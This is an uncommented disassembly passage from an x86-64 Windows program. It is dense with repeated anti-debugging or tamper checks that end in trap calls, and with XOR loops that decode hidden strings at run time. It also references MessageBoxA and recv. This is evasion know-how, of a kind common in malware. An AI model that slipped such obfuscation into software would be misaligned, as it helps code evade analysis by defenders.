mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b3fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b3fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b41b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139ad0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x140139c60]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x1b49bf8f
mov dword [rbp + 0xbec], 0x33ef6466
mov dword [rbp + 0xbf0], 0x51f75d1e
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400792b4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
add rdi, rsi
cmp rdi, 0x2c
jb 0x14006b46a
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400110c8
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
jne 0x14006b568
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b548
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b548
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b568
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b612
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b5f2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b5f2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b612
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
lea rcx, [rbp + 0x9f8]
call fcn.140069abc
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.1400111d8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14007a36c
lea rcx, [rbp + 0x9f8]
call fcn.14007a2a8
lea rcx, [rbp + 0x9f8]
call fcn.1400116e8
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b71b
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b6fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b6fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b71b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b7d6
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b7b6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b7b6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b7d6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov dword [rbp - 0x68], 0x7449fabf
mov word [rbp - 0x64], 0x8e4b
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140079248
xor al, dil
mov byte [rbp + rdi - 0x68], al
add rdi, rsi
cmp rdi, 6
jb 0x14006b7f1
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x7449e8a6
mov word [rbp - 0x54], 0x8e4b
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov r13d, 0x3df3a125
mov r15d, 0xb7616ee1
mov qword [rsp + 0x20], r15
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140079248
xor al, dil
mov byte [rbp + rdi - 0x58], al
add rdi, rsi
cmp rdi, 6
jb 0x14006b841
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14007a5dc
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140079fb4
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14007a108
lea rcx, [rbp - 0x68]
call fcn.140011230
mov rcx, rax
call fcn.1400111d8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140079df4
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14007a108
lea rdx, [0x14015c460]
lea rcx, [rbp + 0xa78]
call fcn.140079fb4
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14007a108
lea rcx, [rbp + 0xa78]
call fcn.14007a2a8
lea rcx, [rbp + 0xa78]
call fcn.1400116e8
lea rcx, [rbp + 0xa58]
call fcn.14007a2a8
lea rcx, [rbp + 0xa58]
call fcn.1400116e8
lea rcx, [rbp + 0xa38]
call fcn.14007a2a8
lea rcx, [rbp + 0xa38]
call fcn.1400116e8
mov rax, qword gs:[0x49]
cmp rax, r12
movabs r15, 0x3c3fd7c40c92e260
jne 0x14006b9f6
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b9d6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b9d6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b9f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006baa0
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ba80
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ba80
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006baa0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
lea rcx, [rbp + 0x1208]
call fcn.140079c1c
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400e0040
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006bb75
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006bb55
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006bb55
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006bb75
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006bc1f
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006bbff
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006bbff
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006bc1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140011180
lea rcx, [rbp + 0x10e8]
call fcn.14007a344
nop
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006bce6
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006bcc6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006bcc6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006bce6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006bda1
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006bd81
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006bd81
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006bda1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
lea rcx, [rbp + 0x11e8]
call fcn.140079c1c
mov r9b, sil
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14006962c
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006be6c
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006be4c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006be4c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006be6c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov dword [rbp + 0x1e0], 0xf9c05e58
mov dword [rbp + 0x1e4], 0xdd6d15d2
mov dword [rbp + 0x1e8], 0xfa8fee84
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
mov r15d, 0xb7616ee1
mov qword [rsp + 0x20], r15
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400791d8
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14006be9b
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14007a8f8
test al, al
movabs r15, 0x3c3fd7c40c92e260
je 0x14006c46c
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006bfa5
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006bf85
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006bf85
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006bfa5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139b60]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x6600a53f
mov word [rbp + 0x7cc], 0x5dcb
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400790fc
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
add rdi, rsi
cmp rdi, 0x16
jb 0x14006bfd9
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x140139ce0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x140139a80]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x140139a10]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1401399f0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x140139c30]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x140139b30]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x140139a20]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x140139a60]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x26e99c60
mov word [rbp + 0xde4], 0x2c90
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov r13d, 0x3df3a125
mov r15d, 0xb7616ee1
mov qword [rsp + 0x20], r15
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140079168
xor al, dil
mov byte [rbp + rdi + 0xd60], al
add rdi, rsi
cmp rdi, 0x86
jb 0x14006c0be
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x49]
cmp rax, r12
movabs r15, 0x3c3fd7c40c92e260
jne 0x14006c1ce
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c1ae
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c1ae
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c1ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c289
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c269
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c269
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c289
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
cmp edi, 7
je 0x140078e8b
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c33c
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c31c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c31c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c33c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139b20]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x140139d40]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1401399a0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140079090
xor al, dil
mov byte [rbp + rdi + 0xc28], al
add rdi, rsi
cmp rdi, 0x2f
jb 0x14006c375
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.1400e356c
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
jne 0x14006c46c
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c44c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c44c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c46c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov edi, 0xda6f55
cmp rax, r12
jne 0x14006c529
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c509
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c509
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c529
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14007a164
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140069c04
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14007a040
lea rcx, [rbp + 0xab8]
call fcn.14007a2a8
lea rcx, [rbp + 0xab8]
call fcn.1400116e8
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c61c
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c5fc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c5fc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c61c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c6d5
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c6b5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c6b5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c6d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14007a318
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c78d
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c76d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c76d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c78d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c846
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c826
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c826
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c846
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400e39dc
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c914
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c8f4
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c8f4
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c914
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006c9be
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006c99e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006c99e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006c9be
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ca6f
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ca4f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ca4f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ca6f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
